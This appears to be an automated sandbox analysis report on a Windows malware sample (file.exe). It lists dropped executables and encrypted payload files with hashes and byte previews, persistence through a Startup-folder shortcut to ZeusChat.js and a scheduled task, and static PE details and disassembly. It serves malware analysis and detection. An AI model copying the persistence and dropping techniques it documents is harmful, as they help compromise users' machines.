Preview:	.....5.Z.\#..'....~..dH.iJ^....!.tH...e....o.RU3............./...Xm`...g..G..c.b...}.Z..y..5f...k&..j...a..@83.O.c._..]....J=.#..@.`\....+..[)..I.C.L.]..1.-8w......]$..RpU.....r...=......5Q......X....<'E......z9.g..g;..s..I.........U.j`.7og..0.Y>c....Cz"........=....K.....Z..I{...T......F...1.t_"&..4=H....T5@.+......W[..7c.'5.w..~w......m...[f."v...q.@P..E..XX:0.0.......D^...wb.n....t5.M.....j\x.4....Mu-\_.)..zRw...v.!%z...._....(..."(...V6...B..>.x._.O..a.C5....b.X.]..@..8....4e.R..E.\.;..n..)..!8..R;2l.Y.`=>Tx..$..}....;O}f...g_..A..W.fA......]./....L6..Z>;[.Pp0..&..tZ?!qiLW.^->1.G+...f....oD.0...:..2..T.... .U..)B...}...q.......i....~.[Q.8.........#.~`.[O.xX.{e.....5/#...5].6)ME.\..3.0wT=..Z5.....NV$...4..1..6S`o..'.t......T......).b9Pj....9W...k(.T.f.X..w\|...N-..}.L?ZU\..#J..3.\|.b....;.&U.M ]..w2x...tT.oSRg,q)-3.OS.ZC.1U..:6}9..{.9........?C.....YVX.$........Z..8V.s.Y....T:b.o'..`....-.........+.j...nS@.r1.m..`pa.).c..[.t)........

C:\Users\user\AppData\Local\Temp\Seafood

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997643505588514
Encrypted:	true
SSDEEP:	1536:/8jmLaw/2vM+yBLoEbabkCg11bLutq9oBDt8fnALeStIuKGmhLIsV9l3:/8jmLa8/H5Rx9ug9ottyAygIuKVr3
MD5:	7C647B0706E80A17DCE3805F4D133CC5
SHA1:	1C8B39A85852185E9D0CFCE138F9E6D2B90A0898
SHA-256:	2A879EB4AD27C42721DCA80A6245D6A48813BCF6CA0D904199F506CC6687BBF1
SHA-512:	7D991137B90A587BFF29EDEB02BA2DDDD5D4720018A0A68973210D81FB326634DA17897D96CCF74819C97FACD3055190C56D2E90A801A27F76FE95C23167A168
Malicious:	true
Preview:	...20a./P!.....%~....E.PF.>#}:9h._..j.h;.h.a...-.O.'..$.wE..8.~...9...WS.exD@..x.m...^vY....^..A.~..'.....I..ke[[..&,.8.4.r.)..2x...%m1+.,..j,by.........e.......7P.,.0}..Mbk.GD...t..u.......Y.-I.m.P..Vn....\......<.37../.7.H..r...M.H...Q:vLPQ.F..v.#.I.=...v,.=...M....{.X......]w..@.H.N...Z..........$.U...1~_.Z.TC.G.>OQ...Y$.E..?..16..y.$.x.......\|:.6.'a.T+:=.jHW.h..+...X.i....n.[.7.....-.3R=y....$....2.lR...M.}I....E@G~.(..].Q\A.?....-.`..d&.........F...q..#..\.21..T..'.,t .q.....y.\.pr........6...D.E8t.@R.......}...X.;\|.9.HW.hl9....a.}0.IE.hK..jeW.>.w..Y..........j.^g .Z.;.!...\.>./..B.A...>..[..>P.$6.?g+.i(0w?.0....T..\`.......[\|TiD.....j....B".....v....0..M~}..l.kD..MM"Q..%.7..l.;..XO0. ..e.~.....T..%..{.m...h7........G.u!........x/..EK%g..,?^qd..6._+x,+.".2..._.=..ae.=.'..X.5pH.}..~r..Ge.......X...R...W.h..Y..<\..b...9[F..5.w....+.%.t.\|^..T2......N.. .`..y}.."....5..&.0.Z.I.N.......f...$C_....1... .f.5...&.".[IU<-.h.....6^GT+m.....

C:\Users\user\AppData\Local\Temp\Smithsonian

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	7.99798906004204
Encrypted:	true
SSDEEP:	1536:5y8iyJUmvI2g3KhAWZAI5tYOc8pjmz/3FVsg2X8fkoajjPPCZx+NN7QQYCkyya+l:5Pi2vI2h7bzo3FVsBJqZx0sQ7kyya5HY
MD5:	BF358168D303797778D6882D4EEEB7D2
SHA1:	DE8578F5F94D6F0AAB03EA978CDF592A27F29D40
SHA-256:	86192E5A608BA6C316954F7B01A3D32728B0C9E7D2BB5F2CCFFE7C300E65612F
SHA-512:	AF75E281E80DEF8AD01B494ADA6919D4EEED7509987DCD1C0966F505A98FB14BE494F5C85DE01F26D752415B54A9FE5C385DFD024A0E1F3E3EEC0F136DF78E6C
Malicious:	true
Preview:	=...M.K..M..F..%Uh..G.ADJ....DQ..c.#>#^...;.q.X....?.T....TE.Y..F1;..)..e...+.msi..........eb..dg..RY)..\..............J._....{..F[m1..U..'........\|..A...3.iY..q.d..Re...z.D.Z....v,..z.A....g.{.kB....4[...D;.hB`.Q...`......6..fy.b..: }1...3y............]EL].c'.\|\|...........s\|...+Bo...>6..n9w.m4.k.hA..t#...(V....H4%...E./..Z.Q%.,.j.h...o.....]./9Uhc....R.^..L.I..mX.(........V...".8.......6.m..._.-..H.jd... ......1.y........i.4....+_4Y.D.^.a..;.......@\.2...T..$S.D.Em#'N.....}.P...[7.d..x.;.#............C.k.......?.\|a.HE...g.KE.Y,......]...8G(2......<.7.D....u..4o.>.......\|...0Qb.......v.. .E: B!.f..l...7...(........N.`JIp?..r.hv.....}.....D..(.GD~&.,.NZ...E....v.~"..\|w[Jn...@.>.......H...J.-.;P.UQb.zY0~.......+...&(..=1.[].?.bsB...Pf..<.j.....k..{r..(..."....d}.6j...f...lA....?)..u6..d...yY.0..7oF>Y..A.t.>..B ..s............`#..."q....y....70.j..H....3.{.t..D..O.q.F.(.....s......~.....\.#c......u..K[5....].....V.

C:\Users\user\AppData\Local\Temp\Sucking

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	7.998067775958086
Encrypted:	true
SSDEEP:	1536:h1xiordqEnAINwPPozO/ltaSovHtbfJ7CQ8KWFvaeCOvma8a6TEyYb3bNbZKB:fhd3nbNcow+BHzCQ8KWF+OupTE/TbNbC
MD5:	AB3992952FADD50CA0CA5608F1F7F570
SHA1:	A67DE56BDDF50265DF0EEDA6DB470086F712D6DB
SHA-256:	BC70E59D3EB450DF8031D425101D0DD5F0A150BCD0D6B5D95CAE455B0E5790BA
SHA-512:	0539ECF23D8E81A2C5B6B51CB205E48871144612F66D3F387BA69B7799F92FF536973F87DBE52121335F54BB5E35BDD64DB7673E23488328DAD31A3CC265F33E
Malicious:	true
Preview:	...q.L.....~ip...$OJ....q#.<...,z.P.....r.%.... ...\|j`J.5=dEj.4...5..U7..C .X..&Q.2c.'$......o.-Q.E.D.y`.......~..\.....j..RyY;.WU_.2.h....t{s........VV...j.]\!...9.b......$.?rby.6N....n.....Z.8;`...]..Lg.p.7E.uu.c.h97...F..J.C./.q..@L/.}..._.;?I..@.Lo..u.UDr.^{s...v....G .....Sx=."..l).h{h..q.c.0.<..l............bTh.........N.'_.o........W...+d..e....X..h!_..,v.......)7.....j.....,\.G...,2=...c............P......xu....@.~..........8..>=.....4C}..j}We2k.....%.D.m.\x...O.B.4......,^....v...m..3.f.Z.vE....:..........4..=AC.#.n...-l.I.B.s^.-.......-.^R..`z..N..Z..ck.........../.<`.."J.....L...w..D.......a......_M..U.Wj.C...j.9....e....#V"....z#nXU.......w]..T..'#....../.......gn..G}.k.KP..j...#+.7I.].Y2...5"...z\..-.....P.dK.n.#......T...........c.;C.......(.....g.....(n.x..T.Z`..'...XE.........v....F(.\|*.X...5/..\|.;G'Xc...y....-..M.........Z...".4vV.{."&......ZP2p.?>.t.......u=.........m.....m..d..I:....r..HZ....z+.......fw1m1{..Y9..^

C:\Users\user\AppData\Local\Temp\Tech

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1065128
Entropy (8bit):	6.43820773264071
Encrypted:	false
SSDEEP:	24576:SAwciuvaj8l4LEWumcKYB5Wek2vY+BYssmNolbmmPmJ4Ve+aaWBS:SALTBaLETmcKYB5WH2AwjsLbmmPmJ4Vt
MD5:	C63860691927D62432750013B5A20F5F
SHA1:	03678170AADF6BAB2AC2B742F5EA2FD1B11FECA3
SHA-256:	69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353
SHA-512:	3357CB6468C15A10D5E3F1912349D7AF180F7BD4C83D7B0FD1A719A0422E90D52BE34D9583C99ABECCDB5337595B292A2AA025727895565F3A6432CAB46148DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......^.........."......:...(.......R.........@.........................................`...@...............@..............................[..\|.......h....@..To...$..........t....p......................X...(...0p...............P..8............................text....9.......:.................. ..`.rdata...A...P...B...>..............@..@.data...P........P..................@....pdata..To...@...p..................@..@.rsrc...h............@..............@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Through

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	7.997454633063599
Encrypted:	true
SSDEEP:	1536:vXx+HOb0XDoXJHfl7Z0gtZaVjADAsSuq3gbGnvD0qxThfrk:/UHsMDW97JkVjADAXx3Xn4qxO
MD5:	5ECDE821195E874D98C846D36A61D9BE
SHA1:	D58B5F754F7C073C75556C191673687EDD6F9FDF
SHA-256:	E6FBFEF6271FF5511FB38D40831E25AD9B92535A66621E6CE464A98386F4649F
SHA-512:	06F0C80617C836C3B3E8F9197F9AEAA97AA6A8B0AD92DF09E44ED39D435A8107E17145B0665CBE3A7174B74C747A4CEF8AD09FDEBB309CC34C85B1936588C570
Malicious:	true
Preview:	.....a..EI..FiW....%...l"M..R .F..$M.c. .[.....=... .O..]P..s.6n...T.W+..".M.....h.H5.-.Hi.`...%0@...Ac\|..u....6.A.P..#...>...w..=:n.r.<....._......K$....x...!./..8\.....~..DH02.{).&..kJ....PC.8`...^.@\2.i1.......q:.4V..~..g...4E.e<...i...w..g..]v@.Fr.$...M..9.AS.GS...o..&.+.e...( ..c..{.!..8..L...G.U3..Q.j3...$......X...".7...m.o....m.O.1l...]8~B.a........\|..Lo.ef..PpkI~..h`=.<.K_.+..I..d/..6.>E.....\..~....^...67...=..cf.D:-.....e$HvR......5N..O....].ZmREBcji...=o..Z.hH..=2k.x.G=i..I..D.L.~2..ws.;~..8.j..K.=.9.gV.....4G..fF.!.U.=.<O1?..`k.d..ql.?....l.o.<s....z.N..S...F../.T..6?jG..D._~.j..q...y....l.A:.i.O...y..cm...e..0...^`$.{.z.Y...b..gu.......K..0....^.....V.k.r.^......./9p...x{$@.4...h.x...a}........7...6.Xk.LV....l..p..s.S.y%.VR...PV.Uq..m..m...}Q..o..3.e.......Usj.-_.X,>N..w.X..>.$..{/..~f.....u.q.........G...,..eK.?..s2...j.:>....z....r.g.n..F..'.......V..x4.2..t..9.92.8..tE.....i.."fM...n....Y..+..=.....5.....O.y.l...c.e.......t.......

C:\Users\user\AppData\Local\Temp\Tm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	7.997919448781185
Encrypted:	true
SSDEEP:	1536:M318WuV/Lje58/NgEryXkIeIWnWeCZGfc5RS7SazCt39k7siBc:u1N8/NQXk9WD550GazI9k7sP
MD5:	D974201B21B17C64319B3AFDDAECDF05
SHA1:	101C54415A230BAD753C8879A76593FFB19897DA
SHA-256:	83E4A156F628135F8C3AAB71C0CC15FD426E5FE3BEF93ED37ECF3E540E702A45
SHA-512:	74E735D48E733CA719BC70FC9F15F0185DF5E6F26B600B805130C4F235DEDD3A476E590264A19866D1FA492A11CB8C5CF874049F54DB598FFBD2855E9EC8A65B
Malicious:	true
Preview:	6>......k ..+.C.U.. ..mc...)Y_LM...<.?P..W...;.]p....w jl......H.=.&.P..dy.E...Nf?....Cb..2..quck.YNV...%.(....7....q@-.[.lC'D.=...)..A.Q..5.<...$.p.(li.B..........K..f.j\.....P^.0.mK.X.[D\|..s}:>...6Y.....z.S.8..#O.%1..;......I...B..A..ch...a.s.-.G.q..m].....jd>m.g........k}.q.fyp..l.9.^c.J......p...V2....c.K[....5a/E.4[m.?...9.....KDL..HU..6U.Rp..Z..,F....D....Z.P.L`...G.!.!....3..d;4.t.....T.)wQ[......Q.D..D.PU0.f{.y.q.t.Z.>..f.......-$......'F........M..I .....-.['.-.@T.&'.<...h.....T..........s.......h.<..=B.M.f..~b......l...{....z}.?.1...ARt...D...-......v&..d...{...H..]...>.......Bh..C.r.A.R..C;A2.....0.Y........L........%..".E..C'.;...L...G...Z....q.0.K.'...B.,.Q(u.....y~@M2\|E.._Fm..Q.'h8_....S...l..Z.\|E\...H.=......$`ld.&@}7u.C..qv......O."....-oI.:.......PY..s.N.3>.\|..:.._.k;l.a.....@.(G.ZD...c...\|\..'U.u0.....Ur.._n...}^.N.K.G...8.`...p.R....IL..]i.9.m..%.......q....Av............cB. w..KI.$:.?.?......f.b.\.:...p.3.t..1....~...

C:\Users\user\AppData\Local\Temp\Turns

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.99807412881169
Encrypted:	true
SSDEEP:	1536:dwYJksN32wTiAc1X2LnS2N2zIdkFvbbFQWypC4FA/4Z2/avYoz10Gu9DklUJp34P:d9k8mrAwGLS2N2zImFvbbFzcCN/livYs
MD5:	3BE74FBC6EE02888C808EC92AC040F44
SHA1:	9762530702FC951013D2EF1F9152925DA7FC0E10
SHA-256:	375F7060E748B8A0F48ACA18638A2DC0E94574BE8963C44E689F96321BD1BD11
SHA-512:	3FB2B1CDE21DCF11F870B1DB3D9DA44AACFE01C0B625B1FB16FACDE9C8A99DDEE8076C14828D8623A8DB4390C3C2FDE25F1323E864F5A04196176F9A68F9DB5B
Malicious:	true
Preview:	`.8.6z..h....;L...?....!.p.......=..tSJ..{.Ce...8....D.J.I..pg.<]......T .I.g.^_4o.}.....(Z...z$.>.ff..T\|.t..:..#...Y...}`h.r...<..f..]<r.L..=...Zp..,{..2S.C~bR.....d...Kq.....T..wp\..;.t...6(@.Y.&...p.....b;Q.......2.....H^..W.f.v.1>r..:P. .h^..tVfQ..H.....%Q......#.V....xv.Z..<{........2..B^.......kX..>38..L.....H....+l.y.1AZ..Tm..T.{.8....w.n;s..[......7.KEk.^.s+\..l.G..(M.>....\|6g<......S.F...#..=Q&..=H.c.[R..v.8..v...[/wc...eP....,..q..t..(h.q...m.+.2........4...r....$2....7H.X..Zf..!.cf.....E.Cx..+......K..9~.>. .6..[P.dt...(VuQ....D..\|l.5..#.!..F..O.#.g.xbf...:.<:.....+An'."E..m..D.'..,..........:.TDmSn........]..y..f.7\...=k../.Tx.0._?..(.1/P!.yb.%.....4...w.....r.xD...o.af.`....4.h6a...m......T..a4.s.E2.-..Eo.>..j.SCp\.*a8....Y.-)..... ..$~t,R6.&,9....{.41.J0?...eQNz...x ..^...r.)8..DBp..& ..xt.7@L....0fdSH.J....Xp.DC.lF...N..Y4.`.....e..qz.......j.t...G.@..W.z.....VQ..%q...~hc..P.r..-&.Q.KA..a.Yf.$I.:...sp.[L...J.3b....[...^G...Nv.

C:\Users\user\AppData\Local\Temp\Typical

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.997554059646999
Encrypted:	true
SSDEEP:	1536:kxYY9JzAu6zWvOkaaq/Io0ewysKdYodz3jzZKQnhpgjPmo9NAHMthog:ivHAu6SvOkapIo0PXKdYw3jzkQhp6isF
MD5:	5E994F39CCE9E10B951340C50ED7AC57
SHA1:	3AF9BCC59EBA50B027DEDE0B713B3560AB033E92
SHA-256:	BF779307AF2D71D7DDD99AA8E239755C0B4DE961CD0FBF0620DA0718870C2CB0
SHA-512:	5E1B9606C794DB160C7C17256999DD87F9BABC1C18F16C60BB3229AD8A37DE3D3106914B44C865F44C51E066F04724E399E7BB9487C50DD05FC38068E3B4AE54
Malicious:	true
Preview:	5..D.._K..gN...(s...l=.~...k&K.Y.:..%.D.V.8...=..._......n.9M.W.TG.a.T..K..........~..Z..M....5....\..q.9\|&..6.").G....~[._0....f..s...x.....W.Xy..j.%{@.3.t..S.Q....X.<:.RH"..3..2E..@.B.UH.A.._....N..Q\/y.......e(T........&Q...v..)d.j}...h.?oD.=i...@..~..........(1...p.&..-.....tU....6...\9....Zg......U.@l..\|.......F2...-<...#h..'....+..A.'.MY6wW.'4.#4.........W.r......x....Vb<.Y!..b.nM.U.'...9....8...."..G.....c4.&Q.....X.......5.wG....L.. K....C.'b....o.....M..~N....1.yDG...@....&..%..]..@..........g...P.7...\|Z...;.S...x...8Z..`.2H.t%..P.B.q../1.qswCH.....N../..D.\|.f.f. g3.vk..Q.j..z(.....?$..c.........{.4wa..HQ..._)....R.]..O..^.E.q..r.y..=.C....Dw...}.k....d...g<....!X<.!.:'_.._..U..$l5.J.T]..er..Xt.....M".g.w.7P.z...x6.Z.sa..e..8..L...w.....G....3XpG...l.c.LM......^..6/"..9?.ewo..../e.z....u.kb.nz.c/........s..St6.d~..H.. 2.A.[.KopZ3...`.....5.).C&.h....0....k..+!3!...."..........\.+fY.Mr.QG..a..E......_`8...3..J

C:\Users\user\AppData\Local\Temp\Wendy

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	7.9980906917164045
Encrypted:	true
SSDEEP:	1536:Lul0o74FHEfDEYdYCgssVqna1Q9qJZShA1at1XpbgaDxeEhTuLEJAhFBNDQhwMub:E0tFkfDfVgjGhvXpkk7IEJAXQ2MuXr
MD5:	8BD430500D4C1E0562DBDEA031FCC935
SHA1:	21EB8D97B4A27334B285C0EF00E9A436DEA13A08
SHA-256:	9312BD3FE3E138A6C6BBD1D253C493E171CABE1207351AC8A0AF19B4D3097BD0
SHA-512:	F5E4055F89E18B31170DDF9609FAACC6F6899320EB1299E56B8DC674E3C40CDB0B1A46EE4012AB1D84D5FE8EDCBC81B39D0F2F0ACBAEBDD98EF356E865464C31
Malicious:	true
Preview:	.I.h....N.N..04vT..6......@..W..o...5xRz.)...I..i...WO...f..?.....y....t.f.:E^..r..x.(...q.;.n...A-..6.....~ ..w/...v.P..O...g_.Sx.E.."\..6h.~....~..V"...Z....`.+....e...M.E.P....ck!.T...AM....R..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....G.L.'.F...h..............>.......>......kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..\|.&..,P..Myn.2..t.W....^.8.Z!...W[.>..8D...>...i..m......_.}8.5...x..2).U.j....R>..#.~.\.......$h_.8..D..X.U..~X...)<.G...]...P9(..f/.._..c.Y.^...g[.T.bg.D....w$ .x9...#.K..{).....A...V..!.+.f./J>I5.._yN`.7l..M.....a2.....\|\|>...z.QRG........K.G..;.rda(..{.l5<...d...Q.....x.=.4..W?_8.<Oj<..;...hy.C.."x....x....g..0.Q..i. /.j...v8...iH.>...

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870336
Entropy (8bit):	7.950830801509784
Encrypted:	false
SSDEEP:	24576:9w/gXXZLf9FpuSVA83ZIaoOD8BR98BpLOKKxsGaC3x5MY0s9r3k7in9tFvGH:9kKpVu8pIO+D8rLOKHRQ5MYR3mV
MD5:	3CA635061FA9685D799784F665850565
SHA1:	549BB2808560D826B7BE8EA502B46E3CDC101CE3
SHA-256:	373FFB138B7376264A307837EF5BD51BD02380376F9FDD27350CF1B65A28BCBB
SHA-512:	7812EDB799FC4AC60C856C61ECD793FB5499FFE433C9BF60E251D4E3E9D5BB4DF8D8F2873BB643036CCBB5BC611CC339AD8E8789FEEC3B3C5834BB72ED887792
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`J...........@...........................J...........@.................................W...k.......D....................MJ..............................MJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0*.........................@...muzjjppg.p....0..n..................@...wbgldlky.....PJ......d..............@....taggant.0...`J.."...h..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\kreon.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3646464
Entropy (8bit):	7.31471585501826
Encrypted:	false
SSDEEP:	49152:fIVwASOEGtlqy6IU6iJ8jMWgtvubhVUKu4QXIBQxPKb5VYxV8NJWnkSB4dV1Mn2e:St+EtQK+n2CF28IHHhrX2ANMX
MD5:	CA480193E4B8159DD1283118EBDE8896
SHA1:	857FB4852F31428EAD5E2D9FBD5BFB16D9714D1A
SHA-256:	377717DD342A9169589D1E2C8509D12CEAFE9C43B3407AB16771EC611A367A2A
SHA-512:	A49927F1DFFE8D14F592E767415C490F4BDC9FB5D7CE45F10F5E6C7AA5C20B79412ABC8D4F799CFD88AEEAC3EF73F55A9710503A9A612EFB5D414EC95A3E7ED9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$................................-.......................................................................a......a......a......Rich............................PE..d.....<g.........."....*.....&.......f.........@.............................@8...........`.................................................L.5.......7.......6.(.............7.T[..P.4.p.....................4.(.....4.@............................................text............................... ..`.rdata..............................@..@.data.........6..D....5.............@....pdata..(.....6......86.............@..@.rsrc.........7......F7.............@..@.reloc..T[....7..\...H7.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	94
Entropy (8bit):	4.841103880383337
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoONtkE2J5mcVIFzRLF:HRYF5yjoCN23mc6FzRLF
MD5:	272E63F9BA7A913B8BEDB49A2C161366
SHA1:	03348F4C93CA64E25897C7AAEA8CD893291CE940
SHA-256:	C6F33AF5A161F3301B103AFDB3097B34581BB2ADC7EC97DA0C8213FD306B0165
SHA-512:	974B275022EEDE8AC1606251EF056B2384C10C9F260485954D6F88151C1C42A4585C5C4DF5EADA31FECC96375A8DE7C5CB6F6DFF8807D50C55D3824581512140
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" ..

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.4365068329898185
Encrypted:	false
SSDEEP:	6:yXzXsQXUEZ+lX1CGdKUe6t7DY8uy0lB7dt0:UzJQ1CGAFE2VB5t0
MD5:	1987D8B42F62C1F4163DC6408355DE12
SHA1:	D5057345C127293EE0BDCC12A1EE35563F498B17
SHA-256:	C0B5821336706A3360D73CE9FBD669F1E1C99D955AABF71CD281C4669ECEB734
SHA-512:	15B32D39EB60A943BDDAA53320BFF1A0861749FC7EB5AFAC6CD880CD0E2F3B564352844AF49D683E87581D26D5D5F271843E50B5219806D907ADA4BC69665D21
Malicious:	false
Preview:	.....9j.".UG....`...F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.A.r.t.h.u.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........W.1.0.6.4._.0.3.\.A.r.t.h.u.r...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	313
Entropy (8bit):	4.31846488030069
Encrypted:	false
SSDEEP:	6:w2afXZFA3cRNz41cEF60+qVJMwrM6OBFQr23z4mRayFdwBZbj4ClVED0BwFf:DEXZ2sKMj86vIQmjDYh
MD5:	974D85F88DD5354BC9F60B45CE746EAA
SHA1:	B11DBB2DCDA41E7A74673125DD19E6B0FB40B6B7
SHA-256:	2D0A0B05F936299B9020607D7647D18C6F5ADE4ECDB9837185F4AB8A53959CF3
SHA-512:	0B968580749CB17B4412B2F3737B31360D5FACC6856F8C9D358FA9EF89F54CA83F2865B611AB52237A2220BF4495B3145955D45AEF377E0A25385C70BCC47B05
Malicious:	false
Preview:	RegAsm : warning RA0000 : Registering an unsigned assembly with /codebase can cause your assembly to interfere with other applications that may be installed on the same computer. The /codebase switch is intended to be used only with signed assemblies. Please give your assembly a strong name and re-register it...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950830801509784
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'870'336 bytes
MD5:	3ca635061fa9685d799784f665850565
SHA1:	549bb2808560d826b7be8ea502b46e3cdc101ce3
SHA256:	373ffb138b7376264a307837ef5bd51bd02380376f9fdd27350cf1b65a28bcbb
SHA512:	7812edb799fc4ac60c856c61ecd793fb5499ffe433c9bf60e251d4e3e9d5bb4df8d8f2873bb643036ccbb5bc611cc339ad8e8789feec3b3c5834bb72ed887792
SSDEEP:	24576:9w/gXXZLf9FpuSVA83ZIaoOD8BR98BpLOKKxsGaC3x5MY0s9r3k7in9tFvGH:9kKpVu8pIO+D8rLOKHRQ5MYR3mV
TLSH:	1285330FB6BB2931D6D5DEF242A40A03BDB9C406D35783BC77EA082754A3C2D47A5897
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F084C92F49Ah
punpckhbw mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F084C931495h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
